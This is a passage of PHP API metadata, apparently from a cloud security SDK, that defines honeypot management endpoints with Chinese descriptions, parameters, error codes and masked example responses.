\\"ProbeVersion\\": \\"18060096\\",\\n \\"HostIp\\": \\"33.53.XX.XX\\",\\n \\"ControlNode\\": {\\n \\"NodeId\\": \\"37a15ff1-3475-4897-aa6c-f7fd9122****\\",\\n \\"NodeName\\": \\"online-honeypot\\",\\n \\"EcsInstanceId\\": \\"i-bp19ijepxytwtzrk****\\"\\n },\\n \\"Ping\\": false,\\n \\"Arp\\": true,\\n \\"DeployTime\\": 1669363825000,\\n \\"Status\\": 0,\\n \\"ListenIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"CpuLoad\\": 0.51,\\n \\"MemoryLoad\\": 1.94,\\n \\"HoneypotProbeBindList\\": [\\n {\\n \\"ServiceIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"Status\\": 3,\\n \\"HoneypotId\\": \\"913347774a3b3c378c6a50f66de23dfa097765214ec3f0526b01c67bf59c****\\",\\n \\"BindPortList\\": [\\n {\\n \\"StartPort\\": 22,\\n \\"EndPort\\": 80,\\n \\"Proto\\": \\"tcp\\",\\n \\"Fixed\\": false,\\n \\"TargetPort\\": 80,\\n \\"Id\\": 2512,\\n \\"BindPort\\": false,\\n \\"Err\\": \\"portmap failed\\",\\n \\"Msg\\": \\"listen 22 tcp4 failed\\",\\n \\"Status\\": 3\\n }\\n ],\\n \\"BindId\\": \\"45378f64-d7b4-4a53-9c48-4303eb4b****\\"\\n }\\n ],\\n \\"HoneyPotProbeScanPort\\": {\\n \\"Id\\": 15389,\\n \\"ProbeId\\": \\"a46f5162-c70d-4e26-8ddf-7435feca****\\",\\n \\"ServiceIpList\\": [\\n \\"0.0.0.0\\"\\n ],\\n \\"Status\\": 3,\\n \\"Ports\\": \\"{\\\\n \\\\\\"tcp\\\\\\": \\\\\\"1-65535\\\\\\",\\\\n \\\\\\"udp\\\\\\": \\\\\\"1-65535\\\\\\"\\\\n}\\"\\n },\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"CanListenIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"CidrList\\": [\\n \\"192.168.0.0/16\\"\\n ],\\n \\"ProxyIp\\": \\"47.108.XX.XX\\",\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"6550E0E6-FD6C-5F39-AB5E-35B30DCA97B5\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐探针', + ], + 'ListHoneypotAlarmEvents' => [ + 'summary' => '获取蜜罐告警事件信息。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'title' => 'y: 已经处理 n: 未处理 a: 所有', + 'description' => '是否已处理。默认值为**a**。取值：'."\n" + .'- **a**：所有'."\n" + .'- **y**：已经处理 '."\n" + .'- **n**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'a', + ], + ], + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'description' => '源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '185.224.XX.XX', + ], + ], + [ + 'name' => 'DstIp', + 'in' => 'query', + 'schema' => [ + 'description' => '目的IP。', + 'type' => 'string', + 'required' => false, + 'example' => '183.224.XX.XX', + ], + ], + [ + 'name' => 'RiskLevelList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级列表。取值：'."\n" + .'- **2**：低风险'."\n" + .'- **3**：中风险'."\n" + .'- **4**：高风险', + 'type' => 'string', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为100条，PageSize参数值为空时，将默认返回100条数据。'."\n" + .'> 建议PageSize取值不要为空且最大值为100。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotAlarmEvents' => [ + 'description' => '告警事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件。', + 'type' => 'object', + 'properties' => [ + 'AlarmEventId' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '940272', + ], + 'AlarmEventType' => [ + 'description' => '告警事件类型。', + 'type' => 'string', + 'example' => 'Initial Access', + ], + 'AlarmEventName' => [ + 'description' => '告警事件名称。', + 'type' => 'string', + 'example' => 'Attack Honeypot', + ], + 'AlarmUniqueInfo' => [ + 'description' => '告警事件的唯一标识。', + 'type' => 'string', + 'example' => '167e6fc0d931917d2059efcd1d00f6ab', + ], + 'FirstTime' => [ + 'description' => '首次发现时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1658193602000', + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1660610772000', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险'."\n" + .'- **3**：中风险'."\n" + .'- **4**：高风险', + 'type' => 'string', + 'example' => '2', + ], + 'EventCount' => [ + 'description' => '事件发生总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'OperateStatus' => [ + 'description' => '告警事件的处理状态。'."\n" + ."\n" + .'- **1**：待处理'."\n" + .'- **2**：已忽略'."\n" + .'- **4**：已确认', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MergeFieldList' => [ + 'description' => '风险概述列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险概述。', + 'type' => 'object', + 'properties' => [ + 'FieldType' => [ + 'description' => '字段类型。内部字段，无需关注。', + 'type' => 'string', + 'example' => 'level1_item3', + ], + 'FieldKey' => [ + 'description' => '字段的键。', + 'type' => 'string', + 'example' => 'dest_ip_count', + ], + 'FieldValue' => [ + 'description' => '字段键对应值。', + 'type' => 'string', + 'example' => '1', + ], + 'FieldExtInfo' => [ + 'description' => '字段键对应值扩展值。', + 'type' => 'string', + 'example' => 'dest_ip_ext', + ], + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回结果中显示的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '返回数据每页显示的数据条数。默认值为100。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '513C9554-55A4-5504-B7C4-6E17EB4FC7A3', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotAlarmEvents\\": [\\n {\\n \\"AlarmEventId\\": 940272,\\n \\"AlarmEventType\\": \\"Initial Access\\",\\n \\"AlarmEventName\\": \\"Attack Honeypot\\",\\n \\"AlarmUniqueInfo\\": \\"167e6fc0d931917d2059efcd1d00f6ab\\",\\n \\"FirstTime\\": 1658193602000,\\n \\"LastTime\\": 1660610772000,\\n \\"RiskLevel\\": \\"2\\",\\n \\"EventCount\\": 11,\\n \\"OperateStatus\\": 1,\\n \\"MergeFieldList\\": [\\n {\\n \\"FieldType\\": \\"level1_item3\\",\\n \\"FieldKey\\": \\"dest_ip_count\\",\\n \\"FieldValue\\": \\"1\\",\\n \\"FieldExtInfo\\": \\"dest_ip_ext\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"513C9554-55A4-5504-B7C4-6E17EB4FC7A3\\"\\n}","type":"json"}]', + 'title' => '获取告警事件', + ], + 'DeleteHoneypotPreset' => [ + 'summary' => '删除指定的蜜罐模板配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '128355', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'HoneypotPresetId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板唯一ID', + 'description' => '蜜罐模板唯一ID。'."\n" + .'>调用[ListHoneypotPreset](~~ListHoneypotPreset~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '84104b7b-a2bc-41df-a190-12298f99xxxx', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '请求是否成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA431A', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA431A\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除蜜罐模板配置', + ], + 'AddVpcHoneyPot' => [ + 'summary' => '新增云蜜罐实例。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要创建云蜜罐的VPC ID。'."\n" + .'> 您可以调用[DescribeVpcList](~~DescribeVpcList~~)接口通过返回参数InstanceId获取VPC ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'vpc-p0w5fgkfsl5a6791q****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'HoneyPotAuthIsNotEnough', + 'errorMessage' => 'Honey pot auth is not enough.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', + 'title' => '开启蜜罐', + ], + 'DeleteVpcHoneyPot' => [ + 'summary' => '删除指定的蜜罐实例。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要删除的蜜罐实例的VPC ID。'."\n" + ."\n" + .'> 您可以调用[DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~)接口获取蜜罐实例的VPC ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'vpc-d7o009q63fqy21r8u****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4347E985-6E64-467B-96EC-30D4EA9E32FB', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'HoneyPotNotExists', + 'errorMessage' => 'Honey pot not exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E32FB\\"\\n}","type":"json"}]', + 'title' => '删除蜜罐', + ], + 'ModifyVpcHoneyPot' => [ + 'summary' => '暂停或开启云蜜罐实例。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92397', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'autoTest' => false, + ], + 'parameters' => [ + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'description' => '要生效的云蜜罐实例的VPC ID。'."\n" + ."\n" + .'> 您可以调用[DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~)接口获取VPC ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'vpc-d7o009q63fqy21r8u****', + ], + ], + [ + 'name' => 'HoneyPotAction', + 'in' => 'query', + 'schema' => [ + 'description' => '指定暂停或开启云蜜罐实例。取值：'."\n" + ."\n" + .'- **disable**：暂停'."\n" + .'- **enable**：开启', + 'type' => 'string', + 'required' => true, + 'example' => 'disable', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'noSubstitutionReason' => '无替代API，历史原因导致该API被标记为弃用。', + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5\\n","errorExample":""}]', + 'title' => '修改蜜罐状态', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeHoneyPotAuth' => [ + 'summary' => '查询蜜罐实例授权数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0F5023B6-9C1F-459F-ACCC-8B4636804037', + ], + 'HoneyPotCount' => [ + 'description' => '已消耗的授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'HoneyPotAuthCount' => [ + 'description' => '总授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0F5023B6-9C1F-459F-ACCC-8B4636804037\\",\\n \\"HoneyPotCount\\": 4,\\n \\"HoneyPotAuthCount\\": 10\\n}","errorExample":""},{"type":"xml","example":"\\n 0F5023B6-9C1F-459F-ACCC-8B4636804037\\n 10\\n 4\\n","errorExample":""}]', + 'title' => '查询蜜罐实例授权数量', + 'extraInfo' => ' ', + ], + 'DescribeHoneyPotSuspStatistics' => [ + 'summary' => '查询安全告警数排名前5的VPC或资产信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '指定发起请求的来源，固定值为**honeypot**。', + 'type' => 'string', + 'required' => true, + 'example' => 'honeypot', + ], + ], + [ + 'name' => 'StatisticsKeyType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要查询的资产类型。取值：'."\n" + .'- **vpcInstanceId**：VPC实例'."\n" + .'- **uuid**：服务器', + 'type' => 'string', + 'required' => true, + 'example' => 'vpcInstanceId', + ], + ], + [ + 'name' => 'StatisticsDays', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要查询的数据的时间范围。单位为天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '30', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9E3969FA-5ACC-4256-9FDE-BB6918CD0410', + ], + 'SuspHoneyPotStatisticsResponse' => [ + 'description' => '安全告警数排名前5的VPC或资产信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询的资产类型。取值：'."\n" + .'- **vpcInstanceId**：VPC实例'."\n" + .'- **uuid**：服务器', + 'type' => 'string', + 'example' => 'vpcInstanceId', + ], + 'VpcId' => [ + 'description' => 'VPC实例ID。'."\n" + .'> 仅请求参数**StatisticsKeyType**指定为**vpcInstanceId**时，会返回该参数。', + 'type' => 'string', + 'example' => 'vpc-p0wwdsuutdyu1ygkt****', + ], + 'VpcName' => [ + 'description' => 'VPC实例名称。'."\n" + .'> 仅请求参数**StatisticsKeyType**指定为**vpcInstanceId**时，会返回该参数。', + 'type' => 'string', + 'example' => 'abc01', + ], + 'InstanceName' => [ + 'description' => '服务器名称。'."\n" + .'> 仅请求参数**StatisticsKeyType**指定为**uuid**时，会返回该参数。', + 'type' => 'string', + 'example' => 'abc-launch-advisor', + ], + 'InstanceId' => [ + 'description' => '服务器实例ID。'."\n" + .'> 仅请求参数**StatisticsKeyType**指定为**uuid**时，会返回该参数。', + 'type' => 'string', + 'example' => 'i-p0whhoba24wd28p8****', + ], + 'Count' => [ + 'description' => '当前资产上发生的安全告警总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8793', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"9E3969FA-5ACC-4256-9FDE-BB6918CD0410\\",\\n \\"SuspHoneyPotStatisticsResponse\\": [\\n {\\n \\"Type\\": \\"vpcInstanceId\\",\\n \\"VpcId\\": \\"vpc-p0wwdsuutdyu1ygkt****\\",\\n \\"VpcName\\": \\"abc01\\",\\n \\"InstanceName\\": \\"abc-launch-advisor\\",\\n \\"InstanceId\\": \\"i-p0whhoba24wd28p8****\\",\\n \\"Count\\": 8793\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 9E3969FA-5ACC-4256-9FDE-BB6918CD0410\\n \\n vpcInstanceId\\n vpc-p0wwdsuutdyu1ygkt****\\n abc01\\n 8793\\n \\n \\n vpcInstanceId\\n vpc-p0w7awhd40ryx4et4****\\n abc02\\n 1055\\n \\n \\n vpcInstanceId\\n vpc-p0wg4tyhsy8aqowfc****\\n abc03\\n 230\\n \\n \\n vpcInstanceId\\n vpc-p0wjjpui2gerjmn2w****\\n abc04\\n 91\\n \\n \\n vpcInstanceId\\n vpc-p0wx2k7kcfue7zoib****\\n abc05\\n 85\\n \\n","errorExample":""}]', + 'title' => '查询安全告警数排名前5的VPC或资产信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeVpcHoneyPotCriteria' => [ + 'summary' => '获取查询云蜜罐实例时支持的查询条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FCE38ADB-7361-4212-AD87-A4514E4DF925', + ], + 'CriteriaList' => [ + 'description' => '查询云蜜罐实例时支持的查询条件列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + .'- **input**：输入型。表示使用该查询条件进行查询时需要手动输入查询内容。'."\n" + .'- **select**：选择型。表示使用该查询条件进行查询时需要从选择项列表（即**Values**值）中选择。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '查询条件的名称。', + 'type' => 'string', + 'example' => 'vpcRegionId', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'ap-southeast-2,eu-west-1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FCE38ADB-7361-4212-AD87-A4514E4DF925\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"vpcRegionId\\",\\n \\"Values\\": \\"ap-southeast-2,eu-west-1\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询蜜罐搜索条件', + ], + 'DescribeVpcHoneyPotList' => [ + 'summary' => '查询VPC蜜罐探针列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92241', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的蜜罐实例所在的VPC ID。'."\n" + .'> 您可以调用[DescribeVpcList](~~DescribeVpcList~~)接口获取VPC ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-d7o009q63fqy21r8u****', + ], + ], + [ + 'name' => 'VpcName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的蜜罐实例所在的VPC名称。'."\n" + .'> 您可以调用[DescribeVpcList](~~DescribeVpcList~~)接口获取VPC名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'abcnet', + ], + ], + [ + 'name' => 'VpcRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的蜜罐实例所在的VPC区域ID。'."\n" + .'> 您可以调用[DescribeVpcList](~~DescribeVpcList~~)接口获取VPC所在区域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'ap-southeast-2', + ], + ], + [ + 'name' => 'HoneyPotExistence', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的VPC列表是否开通了云蜜罐。取值：'."\n" + .'- **true**：已开通'."\n" + .'- **false**：未开通'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 